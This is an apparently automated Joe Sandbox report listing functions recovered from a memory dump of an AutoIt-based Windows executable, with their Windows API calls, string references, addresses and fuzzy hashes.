Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 0c046167fe866a26cbbdaa36fb055cfdb8d2f974c1d9038de57b1359778311b6
Instruction ID: ecbd7b254e79d0211498ff6ea0c78597edc6f75a970f887ef498e9328570876d
Opcode Fuzzy Hash: 0c046167fe866a26cbbdaa36fb055cfdb8d2f974c1d9038de57b1359778311b6
Instruction Fuzzy Hash: F9212632A04200BBEB265B39EC49E7B7B9EDF45750F10816EF809CA391EE75CC4187A0

Function 006A2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006A5686,006B3CD6,?,00000000,?,006A5B6A,?,?,?,?,?,0069E6D1,?,00738A48), ref: 006A2D78
_free.LIBCMT ref: 006A2DAB
_free.LIBCMT ref: 006A2DD3
SetLastError.KERNEL32(00000000,?,?,?,?,0069E6D1,?,00738A48,00000010,00674F4A,?,?,00000000,006B3CD6), ref: 006A2DE0
SetLastError.KERNEL32(00000000,?,?,?,?,0069E6D1,?,00738A48,00000010,00674F4A,?,?,00000000,006B3CD6), ref: 006A2DEC
_abort.LIBCMT ref: 006A2DF2

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 99ddfda83abaf6ef40f928f0a05c958aa22a6cd4bea785bd5d1207251c3da295
Instruction ID: e5c1febdbff7850fbc65bf89f893fd88296aad586d970beea1eb4a065565e5b4
Opcode Fuzzy Hash: 99ddfda83abaf6ef40f928f0a05c958aa22a6cd4bea785bd5d1207251c3da295
Instruction Fuzzy Hash: BCF0F93158450267C263333D7C26B5B1657AFC3B61B20421CF424922D3EF289C015D69

Function 00708A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00689639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00689693
Part of subcall function 00689639: SelectObject.GDI32(?,00000000), ref: 006896A2
Part of subcall function 00689639: BeginPath.GDI32(?), ref: 006896B9
Part of subcall function 00689639: SelectObject.GDI32(?,00000000), ref: 006896E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00708A4E
LineTo.GDI32(?,00000003,00000000), ref: 00708A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00708A70
LineTo.GDI32(?,00000000,00000003), ref: 00708A80
EndPath.GDI32(?), ref: 00708A90
StrokePath.GDI32(?), ref: 00708AA0

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: e26f03811dd2ff1cd3caa7c74a1f032b8159b5dea076738becdca903162c5bc6
Instruction ID: 43f4fedd53da0435edc8d7f37495a298163fa564be564de37f7fdb59cb4d4faf
Opcode Fuzzy Hash: e26f03811dd2ff1cd3caa7c74a1f032b8159b5dea076738becdca903162c5bc6
Instruction Fuzzy Hash: B8110C7600014CFFEB129F90DC88EAA7F6DEB04354F04C212FA15991A1DB759D55DBA4

Function 006DEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 006DEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 006DEB46
GetWindowThreadProcessId.USER32(?,?), ref: 006DEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 006DEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 006DEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 006DEB75

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: fe31608b93825c3ce8605206191cec97484a0dd2540c3722f10a83bc74a9138f
Instruction ID: 2bdc17870ef43912a552c3e11c1d88777a7b7c11cec8d28298bf3c9362a5657b
Opcode Fuzzy Hash: fe31608b93825c3ce8605206191cec97484a0dd2540c3722f10a83bc74a9138f
Instruction Fuzzy Hash: 41F09072500118FBE72257529C0EEEF3A7CEFCAB11F008359F601D1190DBA51A01C6B9

Function 006DC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00677620: _wcslen.LIBCMT ref: 00677625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 006DC6EE
_wcslen.LIBCMT ref: 006DC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 006DC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 006DC7CA

Strings

0, xrefs: 006DC6AF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: c4bee221f6f9368a45c811f85d4b27993cbbc450142e67f9fe9e5d08029682d1
Instruction ID: 47b7ef66369fc331b1c14820ca7ee2c3cf7f91f99edf1e7644ed6481a14c2c39
Opcode Fuzzy Hash: c4bee221f6f9368a45c811f85d4b27993cbbc450142e67f9fe9e5d08029682d1
Instruction Fuzzy Hash: DF510371A043469BD754EF28C884BAB77EAAF89320F040A2EF995D33D0DB74D844CB56

Function 006FAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 006FAEA3

Part of subcall function 00677620: _wcslen.LIBCMT ref: 00677625

GetProcessId.KERNEL32(00000000), ref: 006FAF38
CloseHandle.KERNEL32(00000000), ref: 006FAF67

Strings

@, xrefs: 006FAE72
<, xrefs: 006FAE6B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 42a709a68ce01052ff161f748f9565fef42a8c35b3fff7303e877c375928b712
Instruction ID: 1a62866bececd0f80fc95c04c55d45aa1355ed97e3a0882c04a037b0854d308b
Opcode Fuzzy Hash: 42a709a68ce01052ff161f748f9565fef42a8c35b3fff7303e877c375928b712
Instruction Fuzzy Hash: 40715B71A00219DFCB14DF94C485AAEBBF2BF08314F14849DE95AAB362CB74ED41CB95

Function 006FC9EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006FC9F1
_wcslen.LIBCMT ref: 006FCA68
_wcslen.LIBCMT ref: 006FCA9E
_wcslen.LIBCMT ref: 006FCAF9
_wcslen.LIBCMT ref: 006FCB2F
_wcslen.LIBCMT ref: 006FCB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 006FCA62, 006FCA67
HKLM, xrefs: 006FCA98, 006FCA9D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _wcslen
String ID: HKEY_LOCAL_MACHINE$HKLM
API String ID: 176396367-4004644295
Opcode ID: e8c546b488ce723f3be08ebbc8496deb173f90316a387f5ebf1cf14b219809fe
Instruction ID: d1ba7414d1791eefe29aa67a682d6efc7bf9706d16501f04baae8b06f2064dd0
Opcode Fuzzy Hash: e8c546b488ce723f3be08ebbc8496deb173f90316a387f5ebf1cf14b219809fe
Instruction Fuzzy Hash: E6312873A0016D8BCB30DF2D8A514FE33935BA1760F154029ED45AB345EA71ED40D3A0

Function 00702F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00702F8D
LoadLibraryW.KERNEL32(?), ref: 00702F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00702FA9
DestroyWindow.USER32(?), ref: 00702FB1

Strings

SysAnimate32, xrefs: 00702F68

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: fc54cb31c161be0095dda59ed7be3cbe59d25fe8c7a258da8dc08c1283245a10
Instruction ID: b3d02ee2dd0417b003c9b82952fb87693e616c732b1e4c922e11954e870060af
Opcode Fuzzy Hash: fc54cb31c161be0095dda59ed7be3cbe59d25fe8c7a258da8dc08c1283245a10
Instruction Fuzzy Hash: 9F21BE72200206EBEB115F64DC48EBB77F9EB593A4F104718F910920E1C779EC429760

Function 00694D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00694D1E,006A28E9,?,00694CBE,006A28E9,007388B8,0000000C,00694E15,006A28E9,00000002), ref: 00694D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00694DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00694D1E,006A28E9,?,00694CBE,006A28E9,007388B8,0000000C,00694E15,006A28E9,00000002,00000000), ref: 00694DC3

Strings

CorExitProcess, xrefs: 00694D98
mscoree.dll, xrefs: 00694D86

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5403d0c4a607a27f459d73a536ad62066bb0f1cf51f0aff16972662e2e85aefb
Instruction ID: f3419333c6cafe600decfdbb44184401b5e5f98341596a59bd61d97a57e01b37
Opcode Fuzzy Hash: 5403d0c4a607a27f459d73a536ad62066bb0f1cf51f0aff16972662e2e85aefb
Instruction Fuzzy Hash: C6F0A434500208FBDF125F94DC09BEDBBB9EF04712F044294F805A2690DF785981CBD4

Function 00674E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00674EDD,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00674EAE
FreeLibrary.KERNEL32(00000000,?,?,00674EDD,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674EC0

Strings

kernel32.dll, xrefs: 00674E94
Wow64DisableWow64FsRedirection, xrefs: 00674EA8

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: c9887d07969b6d1e62ddb634e5ea42d239e10fa92c74628b10e073ca4317a7db
Instruction ID: 0249ce306348c0d6603e60f2f9e1fd9cd093dfc2229196575c1797833a4abe88
Opcode Fuzzy Hash: c9887d07969b6d1e62ddb634e5ea42d239e10fa92c74628b10e073ca4317a7db
Instruction Fuzzy Hash: 01E08676A01622DBD23317256C1CAAB6555AF81B72B058315FC04D2241DF68CD0180A4

Function 00674E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,006B3CDE,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00674E74
FreeLibrary.KERNEL32(00000000,?,?,006B3CDE,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00674E6E
kernel32.dll, xrefs: 00674E5B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 83f0b41dab3f4fa1427622d50198f9b8b7c36b6c9ed502bd06c375e89840c1c6
Instruction ID: 595221ff06e9a9cf671c12505fdd393fc52d049ebe353c8192ef9cf56c6a77c5
Opcode Fuzzy Hash: 83f0b41dab3f4fa1427622d50198f9b8b7c36b6c9ed502bd06c375e89840c1c6
Instruction Fuzzy Hash: F7D0C27250262197D6331B246C0CDCB2A1EEF85B213058310B808E2250CF68CD0182D4

Function 006E2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 006E2C05
DeleteFileW.KERNEL32(?), ref: 006E2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 006E2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 006E2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 006E2CC0

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 87d0ed4dcf5d94f4f89d27e3e9b12a4b8a88dd7cd13524abc45f9a468887ccbc
Instruction ID: bdb2b64b0d7e15ea012ad1e4e7da3dcd38e8021bffba57c44f6c5ab6310878b7
Opcode Fuzzy Hash: 87d0ed4dcf5d94f4f89d27e3e9b12a4b8a88dd7cd13524abc45f9a468887ccbc
Instruction Fuzzy Hash: D1B17F71D01219ABDF51DFA5CC95EDEB7BEEF48340F1040AAF609E7241EA309A448F65

Function 006FA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 006FA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 006FA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 006FA468
CloseHandle.KERNEL32(?), ref: 006FA63D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 383ac20fcf43d71c3632fc07d213c7626996e13bbf4bd98e8cc61e68c3f3734a
Instruction ID: 055da942f9e7b55de0ebd746c81dec0c13e6dd58df95c87d01b0ed7126a2a0fd
Opcode Fuzzy Hash: 383ac20fcf43d71c3632fc07d213c7626996e13bbf4bd98e8cc61e68c3f3734a
Instruction Fuzzy Hash: E0A181B16043009FE760DF24C886F2AB7E6AF84714F14895DF559DB392DBB0EC418B96

Function 006DE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,006DCF22,?), ref: 006DDDFD

Part of subcall function 006DDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,006DCF22,?), ref: 006DDE16

Part of subcall function 006DE199: GetFileAttributesW.KERNEL32(?,006DCF95), ref: 006DE19A

lstrcmpiW.KERNEL32(?,?), ref: 006DE473
MoveFileW.KERNEL32(?,?), ref: 006DE4AC
_wcslen.LIBCMT ref: 006DE5EB
_wcslen.LIBCMT ref: 006DE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 006DE650

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: e308a58a90bc4894275aaee9c6ca5cf7023fef5a85df7c06bdf8186e62d53f55
Instruction ID: b2cf03a08b8956a4d595ee7323e97c2790993b0fabfa8cfe28c851ec602e8a34
Opcode Fuzzy Hash: e308a58a90bc4894275aaee9c6ca5cf7023fef5a85df7c06bdf8186e62d53f55
Instruction Fuzzy Hash: 445184B29083459BC764EB90DC819DF73EEAF84340F00491FF589D7251EF75A588876A

Function 006D8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006D8BCD
VariantClear.OLEAUT32 ref: 006D8C3E
VariantClear.OLEAUT32 ref: 006D8C9D
VariantClear.OLEAUT32(?), ref: 006D8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 006D8D3B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 8ed117dfaa6cd56f923234ad6c20304cd4d5d65759fb139f71bd5d7111e0ecfa
Instruction ID: 420bac599c9e208299d8fffa15a29a8a379964d706c6b1db7e92eb172f757908
Opcode Fuzzy Hash: 8ed117dfaa6cd56f923234ad6c20304cd4d5d65759fb139f71bd5d7111e0ecfa
Instruction Fuzzy Hash: 56515CB5A00219EFCB14CF59C894AAAB7FAFF89310B15855AF905DB350E734E911CF90

Function 006E8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 006E8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 006E8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 006E8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 006E8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 006E8C5F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 9ee934e78daf63341ad2058525b1e429e52f1faf1dd0c7b09856ed6f080b1cb7
Instruction ID: 2bc96327ea08724d6645005153950d73d9ae586f16e0eaa6767dbde850ce565a
Opcode Fuzzy Hash: 9ee934e78daf63341ad2058525b1e429e52f1faf1dd0c7b09856ed6f080b1cb7
Instruction Fuzzy Hash: 6C515B35A002149FDB05DF65C881AADBBF2FF49314F18C098E809AB362CB35ED41CB94

Function 006F8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 006F8F40
GetProcAddress.KERNEL32(00000000,?), ref: 006F8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 006F8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 006F9032
FreeLibrary.KERNEL32(00000000), ref: 006F9052

Part of subcall function 0068F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,006E1043,?,753CE610), ref: 0068F6E6
